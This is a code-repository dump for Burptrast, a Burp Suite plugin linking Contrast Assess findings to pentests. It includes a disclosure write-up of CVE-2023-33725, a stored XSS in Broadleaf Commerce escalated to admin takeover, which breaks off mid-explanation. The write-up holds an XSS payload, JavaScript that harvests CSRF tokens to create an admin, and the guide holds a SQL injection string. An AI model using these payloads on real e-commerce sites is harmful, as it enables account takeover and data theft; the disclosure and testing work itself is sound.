├── .github └── dependabot.yml ├── .gitignore ├── Contrast-Community-Edition.md ├── LICENSE ├── README.md ├── contrast_security.yaml ├── docs └── CVE-2023-33725 │ ├── Dockerfile │ ├── README.md │ ├── contrast_security.yaml │ ├── screenshots │ ├── Screenshot 2023-04-26 at 12.44.22.png │ ├── Screenshot 2023-04-26 at 13.05.07.png │ ├── Screenshot 2023-04-26 at 13.30.51.png │ ├── Screenshot 2023-04-26 at 13.46.49.png │ ├── Screenshot 2023-04-26 at 13.47.23.png │ ├── Screenshot 2023-04-26 at 13.48.02.png │ ├── Screenshot 2023-04-26 at 13.49.07.png │ ├── Screenshot 2023-04-26 at 13.54.58.png │ ├── Screenshot 2023-04-26 at 13.56.01.png │ ├── Screenshot 2023-04-26 at 15.09.33.png │ ├── Screenshot 2023-04-26 at 15.10.57.png │ └── Screenshot 2023-04-26 at 15.40.04.png │ ├── site-pom.xml │ └── start.sh ├── pom.xml ├── screenshots ├── burp-app-select.png ├── burp-update.png ├── burp1.png ├── burp2.png ├── burp3.png ├── burp4.png ├── configure-agent-1.png ├── cred-tab.png ├── creds.png ├── screenshot.png └── signup.png └── src ├── main └── java │ ├── burp │ ├── BurpExtender.java │ ├── Components.java │ ├── ContrastTab.java │ ├── CorrelationIDAppender.java │ ├── CredentialsTab.java │ ├── DataModel.java │ ├── EditableHeaderRenderer.java │ ├── NonEditableTableModel.java │ ├── ParentTab.java │ ├── PathTracePair.java │ ├── PortResolver.java │ ├── RouteTable.java │ ├── RouteTableComparator.java │ ├── ScanIssue.java │ ├── SiteMapImporter.java │ ├── Status.java │ ├── StatusUpdater.java │ ├── ThreadManager.java │ └── VulnTableResult.java │ └── com │ └── contrast │ ├── HTMLSanitiser.java │ ├── HttpService.java │ ├── Logger.java │ ├── RequestResponse.java │ ├── RequestResponseGenerator.java │ ├── SortByAppNameComparator.java │ ├── SortByLastSeenComparator.java │ ├── SortType.java │ ├── TSCreds.java │ ├── TSReader.java │ ├── TSVulnLinkGenerator.java │ ├── YamlReader.java │ ├── YamlWriter.java │ ├── mapper │ ├── ConfidenceMapper.java │ ├── IssueTypeMapper.java │ └── SeverityMapper.java │ ├── model │ ├── APIKey.java │ ├── Route.java │ ├── RouteCoverage.java │ ├── RouteCoverageObservationResource.java │ ├── Routes.java │ ├── ServiceKey.java │ └── TraceIDDecoractedHttpRequestResponse.java │ └── threads │ ├── BrowseVulnCheckThread.java │ ├── CredentialsRetrieverThread.java │ ├── ImportRoutesToSiteMapThread.java │ ├── RefreshAppIDsThread.java │ ├── RefreshOrgIDsThread.java │ ├── StoppableThread.java │ ├── TSURLSanitiser.java │ ├── UpdateRouteTableThread.java │ └── UpdateTraceTableThread.java └── test ├── java ├── burp │ ├── PortResolverTest.java │ ├── RouteTableComparatorTest.java │ ├── TestSiteMapImporter.java │ └── TestableCallBack.java └── com │ └── contrast │ ├── HTMLSanitiserTest.java │ ├── RequestResponseGeneratorTest.java │ ├── SortByAppNameComparatorTest.java │ ├── SortByLastSeenComparatorTest.java │ ├── TSVulnLinkGeneratorTest.java │ ├── YamlReaderTest.java │ ├── YamlWriterTest.java │ └── threads │ └── TSURLSanitiserTest.java └── resources └── contrast_security.yaml /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | - package-ecosystem: "" # See documentation for possible values 9 | directory: "/" # Location of package manifests 10 | schedule: 11 | interval: "weekly" 12 | 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | target/ -------------------------------------------------------------------------------- /Contrast-Community-Edition.md: -------------------------------------------------------------------------------- 1 | 2 | # Burptrast & Contrast Community Edition 3 | Contrast has a free Community Edition of Assess that can be used in conjunction with Burptrast. While this is limited to a Single application and supports only Java, .NET Core or Node applications. It gives you the ability to try out the Assess/Burptrast for free. 4 | 5 | ## Signup 6 | To setup go to https://www.contrastsecurity.com/contrast-community-edition and sign up at the bottom of the page. 7 | ![sign up](screenshots/signup.png) 8 | A link will be sent to you to create a password ( This can take several minutes ). 9 | 10 | ### Configure your application 11 | You will need to add the Agent to the application you wish to instrument. Details of this are available for [Java](https://docs.contrastsecurity.com/en/install-the-java-agent.html) and [.NET Core](https://docs.contrastsecurity.com/en/install--net-core.html) , you will need to add the Assess agent to the application, start up the application and then jump to the section of this document "Configuring Burptrast" 12 | Or if you wish to trial this with [PetClinic](https://github.com/Contrast-Security-OSS/demo-petclinic) which is an intentionally vulnerable Spring Application we have developed, follow these steps. 13 | 14 | Login to https://ce.contrastsecurity.com . If this is the first login, select configure agent. If you reach the main dashboard click the Plus sign ( + ) at the top right of the page. 15 | ![Configure Agent 1](screenshots/configure-agent-1.png) 16 | Select Java from the dropdown and click "Download the Java contrast_security.yaml" 17 | This file contains the details the agent needs to report results back to TeamServer. It should look like this 18 | 19 | **contrast_security.yaml** 20 | ``` 21 | api: 22 | url: https://ce.contrastsecurity.com/Contrast 23 | api_key: XXXXXXXXX 24 | service_key: XXXXXXXXX 25 | user_name: agent_XXXXXXXXX 26 | ``` 27 | Download the agent jar file, there are a few ways, but there is a direct link to the contrast.jar file at the bottom of the page. Or you can the contrast.jar from maven https://mvnrepository.com/artifact/com.contrastsecurity/contrast-agent 28 | 29 | #### Petclinic 30 | 31 | Clone the petclinic application 32 | ``` 33 | git clone https://github.com/Contrast-Security-OSS/demo-petclinic.git 34 | ``` 35 | There are several ways to run the application, the petclinic readme gives the details. 36 | Assuming you have docker installed, the easiest way is to follow the Running in Docker part of the Petclinic readme 37 | 38 | Copy the contrast_security.yaml file to the root of the petclinic project e.g 39 | ``` 40 | cp contrast_security.yaml demo-petclinic/ 41 | ``` 42 | Build the docker image 43 | ``` 44 | cd demo-petclinic/ 45 | ./1-Build-Docker-Image.sh 46 | ``` 47 | 48 | 49 | #### Run Petclinic 50 | 51 | **Please Note, running the application will use up your single Application license .** 52 | If you wish to instrument another application you would need to contact Contrast to get a license, or create another CE addition account. 53 | ``` 54 | docker run -v $PWD/contrast_security.yaml:/etc/contrast/java/contrast_security.yaml -p 8080:8080 spring-petclinic:1.5.1 55 | ``` 56 | Once started it should be available on [http://localhost:8080/]() 57 | 58 | ### Configuring Burptrast 59 | 60 | Once you have the instrumented application running, Install Burptrast into Burp, see the README.md for details. 61 | #### Login 62 | Go to the credentials tab 63 | ![Credentials Tab](screenshots/cred-tab.png) 64 | 65 | Select Teamserver URL https://ce.contrastsecurity.com/Contrast from the Dropdown 66 | Enter your email and password and press login. 67 | The Status should change from "Awaiting Credentials" to "Ready". 68 | If you don't wish to login each time, you can save the credentials to disk. 69 | This does not store your password, but instead stores the API and Service Key into a file. If you do this it is your responsibility to store this file securely. 70 | Then when you need to connect again, you can select the Credentials file instead of logging in. 71 | 72 | #### Use Burptrast 73 | Under the Contrast tab from the Application Drop down select your application in this case "spring-petclinic" from the application name drop down. 74 | ![Select Application](screenshots/burp-app-select.png) 75 | Then select Update. 76 | Burptrast will retrieve the list of known vulnerabilities from Teamserver as well as a list of routes, including HTTP Verb type and path parameter into the application. 77 | ![Update Application](screenshots/burp-update.png) 78 | To start with we can see the list of Routes on the right hand table, these routes will be imported to the Burp Site Map when you select the "Import Routes to Site Map" button. This gives burp the locations of the endpoints within the application, which Burp can then scan. 79 | The Trace table only contains a single vulnerability ( for now ). As the Assess instrumented application is exercised, more vulnerabilities will be found. 80 | 81 | Select "Live Browsing". This will add a correlation header to all outbound requests from the Burp Proxy to the application. And as vulnerabilities are found, the correlation id will be used to link it back to this Burp Session and it will show up immediately in the Burp Issues tab. 82 | Select Import Routes to Site Map. 83 | Once done you are ready to access the application via Burp's Proxy. 84 | ![sitemap](screenshots/burp1.png) 85 | As you exercise the application via Burp's Proxy, Assess will be running within the target application, as Assess finds vulnerabilities those will appear in the Burp Issues tab, linked to the original HTTP request that triggered that vulnerability. 86 | You can see one ( of a few ) vulnerabilities found by Assess by browsing to http://localhost:8080/owners/find ( in a browser using the burp proxy) 87 | ![find](screenshots/burp2.png) 88 | Enter any text you like and press "Find Owner" 89 | No owner will be found. But by searching for an Owner you will exercise the application, Assess's instrumentation will track the request through the application and should find a HQL ( SQLi ) injection vulnerability, if Live Browsing is enabled, should show up in Burp's Issues Tab within about 5 seconds. 90 | ![HQL Vuln Found](screenshots/burp3.png) 91 | The Advisory gives detailed information on the underlying vulnerability, the entry point into the application the data sent to the application and the sink the data ends up in and the SQL Query that was generated. Along with Issue background and links to more information about it that is available on Teamserver. 92 | 93 | ![More Details](screenshots/burp4.png) 94 | By clinking on the Vulnerability Details and going to the details tab we can see the entire trace through the application from the web entrypoint to where it hits the database. As well as that the vulnerability is in the OwnerRepositoryCustomImpl.java:22 95 | When we look at the code we can see that on line 22 the lastname parameter is concatenated with the SQL Query leading to the SQL Injection. 96 | 97 | Using this information it becomes trivial to write to inject our own query that subverts the logic. 98 | 99 | ``test' OR 1 = '1`` 100 | Which returns all users. 101 | 102 | SQL Injection is just one of several dozen rules in Assess, which supports multiple languages and frameworks. Using Assess along with Burp can dramatically improve your Pentest findings where you are able to instrument the underlying application. 103 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Burptrast 2 | 3 | Burptrast is designed to pull endpoint information from Teamserver and import it into Burp's sitemap. 4 | The endpoints come from two sources. 5 | * Assess Vulnerability information. 6 | * Endpoints detected by the agent. 7 | 8 | The full HTTP Request that generated the Vulnerability is stored in TS and is available via the API. This is imported into Burp. While there is likely to be relatively few of these, they do have the advantage of having the information required to trigger the endpoint. Request/Path Params, Message Body etc. 9 | Endpoints detected by the agent will only have the Path and the HTTP Method ( if you are lucky ). But you are more likely to get all of the endpoints for this application. Hopefully more endpoint information can be gathered by the agent in the future. 10 | 11 | ## CVE-2023-22725 12 | To see what Burptrast can do see [README.md](docs%2FCVE-2023-33725%2FREADME.md) for details of a XSS to Admin Account Takeover in the Broadleaf Ecommerce platform. 13 | 14 | ## Live Browsing 15 | Live Browsing when enabled, allows you to explore the application via the Burp proxy and get real time feedback from Assess. 16 | It works by adding a Correlation ID Header to every HTTP request, when a vulnerability is found in Assess that is linked to one 17 | of your HTTP requests, it is automatically added to the Burp Issue tab within a few seconds of the request being made, giving near 18 | realtime feedback of your exploration / pentest from Assess directly into your Burp UI. 19 | 20 | To use this feature you need to do the following. 21 | * Select the Application in the Application drop down. 22 | * Enable Live Browsing 23 | * Browse the application via the Burp Proxy 24 | 25 | 26 | ## Build 27 | Requires Java 11+ 28 | 29 | To build run 30 | ``` 31 | mvn clean install 32 | ``` 33 | Import the jar file named Burptrast-1.0-SNAPSHOT-jar-with-dependencies.jar into Burp as an extension. 34 | 35 | ### Teamserver API Credentials 36 | You will need your TS API Creds in a yaml file. This looks like this 37 | ``` 38 | api: 39 | url: https://example.contrastsecurity.com/Contrast 40 | api_key: aaabbbccc 41 | service_key: aaabbbcccddd 42 | user_name: aaabbbccc@ContrastSecurity 43 | ``` 44 | This is your API credentials. Not what is used by the Agent. 45 | This file is added in the Burptrast UI Tab in Burp. 46 | To get your API Credentials, go to the user settings section of Teamserver as you can see below. 47 | ![Burptrast Creds](screenshots/creds.png) 48 | 49 | 50 | ### Corporate Proxies 51 | Burptrast requires access to the Teamserver API to function. If you need to use a Proxy to access Teamserver you can do 52 | so by configuring Burp's Upstream Proxy or SOCKS proxy ( this is different to Burps local proxy listener ) . This is available 53 | under Settings -> Network -> Connections . More details can be found here https://portswigger.net/burp/documentation/desktop/settings/network/connections#upstream-proxy-servers 54 | Once configured connections to Teamserver API by Burptrast will go via this proxy. 55 | 56 | 57 | 58 | 59 | ![Burptrast Screenshot](screenshots/screenshot.png) 60 | 61 | 62 | -------------------------------------------------------------------------------- /contrast_security.yaml: -------------------------------------------------------------------------------- 1 | api: 2 | url: https://example.contrastsecurity.com/Contrast 3 | api_key: aaabbbccc 4 | service_key: aaabbbcccddd 5 | user_name: aaabbbccc@ContrastSecurity -------------------------------------------------------------------------------- /docs/CVE-2023-33725/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:11 2 | 3 | RUN mkdir /workspace 4 | COPY start.sh /workspace/ 5 | COPY contrast_security.yaml /workspace/ 6 | RUN chmod +x /workspace/start.sh 7 | ADD https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar /workspace/contrast.jar 8 | RUN adduser flibber 9 | RUN chown -R flibber /workspace 10 | USER flibber 11 | WORKDIR /workspace 12 | RUN git clone https://github.com/BroadleafCommerce/DemoSite.git 13 | WORKDIR DemoSite 14 | RUN git checkout 369d26c 15 | COPY site-pom.xml /workspace/DemoSite/site/pom.xml 16 | RUN ./mvnw clean install 17 | 18 | CMD /workspace/start.sh -------------------------------------------------------------------------------- /docs/CVE-2023-33725/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-33725 XSS Vulnerability leading to Admin Account on Broadleaf ECommerce Sites 2 | 3 | ### Broadleaf Background Info 4 | Broadleaf is a Open source/Commerical E Commerce framework based on Spring/Thymeleaf Broadleaf Commerce All work below is done on their Demo application, but the vulnerabilities are in the underlying framework, the demo site is a thin layer built on top of the Broadleaf framework to showcase it.GitHub - BroadleafCommerce/DemoSite: The Broadleaf Heat Clinic Spring Boot application 5 | 6 | The site is split into 2 different applications I'm focussing on. 7 | 8 | **Site** : Which is the customer facing storefront. 9 | 10 | **Admin** : Which is the backend admin interface used to administer the store, add/remove items, change prices etc. 11 | 12 | **Burptrast** 13 | The Burptrast plugin was used to find the initial vulnerability, the Broadleaf Demo application was instrumented with Assess, which is provided to Burp via the Burptrast plugin. 14 | 15 | ### Finding 16 | **TLDR;** CVE-2023-33725. A XSS Vulnerability in the email field allows JS injection within the checkout page of the Site. But more seriously the same vulnerability appears in the Admin site. Allowing a Customer to register with the website, with a email address containing a XSS attack, when a Admin logs into the Admin site and views the list of customers, the XSS is triggered, which in turn creates a new Admin user, allowing the attacker to login a site Admin. 17 | #### Remediation 18 | ##### Fix 19 | CVE-2023-33725 has been fixed in broadleaf-6.2.6.1-GA if you are using an earlier version it is important to update as soon as possible. 20 | 21 | ##### Mitigation 22 | 23 | If you cannot upgrade your Ecommerce site quickly, it is possible to mitigate this vulnerability by enabling XSS protections provided by broadleaf ( They are not enabled by default in the demo ) 24 | ```properties 25 | exploitProtection.xssEnabled=true 26 | exploitProtection.xsrfEnabled=true 27 | blc.site.enable.xssWrapper=true 28 | ``` 29 | Of if you have this enabled already, you are safe from this vulnerability. 30 | 31 | ### Setup 32 | 33 | #### Configuration Files 34 | 35 | ##### Agent Config 36 | If you use either Docker or Manual you will first need a contrast_security.yaml file. 37 | Details of how to do this are under the **contrast_security.yaml** section of [Contrast-Community-Edition.md](..%2F..%2FContrast-Community-Edition.md) 38 | Once you have the credentials from the config file, copy the **api :** section into the contrast_security.yaml file in this directory and point the agent at that file. 39 | 40 | ##### Burptrast Config 41 | Details of how to configure Burptrast are available under [README.md](..%2F..%2FREADME.md) 42 | 43 | #### Docker 44 | Once you have added your TeamServer Credentials to contrast_security.yaml, details above. Run the following command 45 | docker commands from this directory. 46 | 47 | ``` 48 | docker build -t cve-2023-33725 . 49 | docker run -p 8443:8443 -p 8444:8444 cve-2023-33725 50 | ``` 51 | The build command may take a few minutes to run. 52 | Once running you should be able to access the demo site under 53 | https://localhost:8443 54 | And the admin site under https://localhost:8444 55 | 56 | 57 | #### Manual 58 | **Prerequisities** 59 | * Java 11 60 | * Maven 61 | * Git 62 | 63 | Clone the Broadleaf Demo site from github. 64 | 65 | ##### Checkout 66 | 67 | `git clone https://github.com/BroadleafCommerce/DemoSite.git 68 | ` 69 | Cd into the directory, roll back to the vulnerable version and build 70 | ```cd DemoSite 71 | cd DemoSite 72 | git checkout 369d26c 73 | mvn clean install 74 | ``` 75 | ##### Add Assess 76 | Edit the pom.xml file under DemoSite/site/pom.xml 77 | 78 | And modify the properties to 79 | ``` 80 | 81 | 8000 82 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/location/to/assess/agent/jar/contrast-agent-4.13.1.jar -Dcontrast.config.path=/location/to/contrast/config/contrast_security.yaml 83 | 84 | ``` 85 | **-javaagent** is the location of the contrast jar file. It can be downloaded fom maven https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar 86 | 87 | **-Dcontrast.config.path** is the location of the contast agent config file. This is used to configure and authenticate the agent against TeamServer. 88 | 89 | ##### Build 90 | To build under DemoSite run the command 91 | `mvn clean install` 92 | Then to start up the site application run the following command from the DemoSite/site directory. 93 | ```` 94 | cd site/ 95 | mvn spring-boot:run 96 | ```` 97 | Once this has started up, from another terminal start up the admin application. This is run from the DemoSite/admin diretory. 98 | ```` 99 | cd admin/ 100 | mvn spring-boot:run 101 | ```` 102 | Once running you should be able to access the demo site under 103 | https://localhost:8443 104 | And the admin site under https://localhost:8444 105 | 106 | ### Burptrast 107 | 108 | Full details of how to use Burptrast can be found here [README.md](..%2F..%2FREADME.md) 109 | 110 | Once installed and configured, select the broadleaf-demo application from the list of applications and select update. You should see a large number of routes, these will be imported into the sitemap. 111 | 112 | But before that, set the URL path to https localhost 8443 . As this is the URL we will be testing the application from. 113 | ![Screenshot 2023-04-26 at 12.44.22.png](screenshots%2FScreenshot%202023-04-26%20at%2012.44.22.png) 114 | 115 | Then select Live Browse and Then Import Routes to Site Map. This will add all these routes to Burp’s sitemap making it easier for Burp to find vulnerabilities. 116 | 117 | ## Pentest 118 | ### Finding the Vulnerability 119 | The Stored XSS vulnerability was first found by running a regular business flow of the site. 120 | 121 | * Select an Item 122 | * Add it to the Basket 123 | * Checkout as Guest 124 | * “Pay” 125 | 126 | ![Screenshot 2023-04-26 at 13.05.07.png](screenshots%2FScreenshot%202023-04-26%20at%2013.05.07.png) 127 | 128 | With Burptrast, findings in Assess triggered by a request from the Burp Proxy are automatically correlated with the session that made them and show up in Burp’s issue tab. 129 | 130 | In this case the email address that was added at checkout, was tracked by Assess, saved to the underlying database, then on a following page it was returned to the user without any encoding to mitigate a potential XSS vulnerability. 131 | 132 | ### Verifying the Vulnerability 133 | While Assess showed that the value originating from a potential attacker, entered the database and was returned in a way that allows for a Stored XSS vulnerability, it could be that there are some validation or encoding that is done that Assess missed. Also as an email field, it is limited in what can be entered. 134 | 135 | First, create a non guest customer account, this will be easier to verify this issue and more likely to be persistent than a guest user checkout. 136 | 137 | ![Screenshot 2023-04-26 at 13.30.51.png](screenshots%2FScreenshot%202023-04-26%20at%2013.30.51.png) 138 | 139 | Then once logged in we can edit the email address field on the profile. This XSS in a valid email address is from XSS in [Email Login Fields](https://raghavendrap120.medium.com/xss-in-email-login-fields-e7ad11a3e705): 140 | 141 | `">"@gmail.com` 142 | Which fails due to client side validation 143 | ![Screenshot 2023-04-26 at 13.49.07.png](screenshots%2FScreenshot%202023-04-26%20at%2013.49.07.png) 144 | 145 | But by modifying a valid email change request in burp 146 | ( you need to use the url encoded version of the payload which is 147 | `%60%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%22%40gmail.com%60` 148 | ) 149 | 150 | 151 | ![Screenshot 2023-04-26 at 13.46.49.png](screenshots%2FScreenshot%202023-04-26%20at%2013.46.49.png) 152 | 153 | We bypass the client side validation and get 154 | ![Screenshot 2023-04-26 at 13.47.23.png](screenshots%2FScreenshot%202023-04-26%20at%2013.47.23.png) 155 | And we can verify the vulnerability by going to the checkout page. 156 | 157 | ![Screenshot 2023-04-26 at 13.48.02.png](screenshots%2FScreenshot%202023-04-26%20at%2013.48.02.png) 158 | 159 | ### Exploiting the Vulnerability 160 | So we have a verified XSS Vulnerability, with which you can annoy yourself. But what else can it do? 161 | 162 | There is a separate Admin site running on https://localhost:8444/admin 163 | 164 | ( default credentials for the demo site are admin:admin ) 165 | 166 | ![Screenshot 2023-04-26 at 13.54.58.png](screenshots%2FScreenshot%202023-04-26%20at%2013.54.58.png) 167 | 168 | By going to customers page we immediately see that the admin site is vulnerable as it displays the signed up customer's email addresses and as this impacts the site admin we should be able to further leverage this XSS. 169 | ![Screenshot 2023-04-26 at 13.56.01.png](screenshots%2FScreenshot%202023-04-26%20at%2013.56.01.png) 170 | 171 | #### Creating an Admin Account via XSS 172 | 173 | Under https://localhost:8444/admin/user-management we have the ability of creating new admin users. 174 | ![Screenshot 2023-04-26 at 15.09.33.png](screenshots%2FScreenshot%202023-04-26%20at%2015.09.33.png) 175 | 176 | This generates a POST request we can replicate within the XSS. 177 | 178 | ![Screenshot 2023-04-26 at 15.10.57.png](screenshots%2FScreenshot%202023-04-26%20at%2015.10.57.png) 179 | 180 | But there is an issue, there are two tokens within the request, a CSRFToken and StateVersionToken. If we want to create a new admin user we also need to find these tokens. 181 | 182 | These tokens reside within the HTML of the generated page. So sending a GET request to /admin/user-management which doesn't change the application state and therefore doesn’t require a token, reveals the tokens. 183 | 184 | ```javascript 185 | function getTokenJS() { 186 | var xhr = new XMLHttpRequest(); 187 | xhr.responseType = "document"; 188 | xhr.open("GET", "/admin/user-management", true); 189 | xhr.onload = function (e) { 190 | if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 191 | page = xhr.response 192 | csrf = page.getElementsByName("csrfToken"); 193 | state = page.getElementsByName("stateVersionToken"); 194 | console.log("The token is: " + csrf[0].value); 195 | console.log("The state is: " + state[0].value); 196 | submitFormWithTokenJS(csrf[0].value, state[0].value); 197 | } 198 | }; 199 | xhr.send(null); 200 | } 201 | ``` 202 | 203 | This retrieves the CSRF and State tokens. 204 | 205 | The next function takes the tokens and embeds them into the POST request to add the new 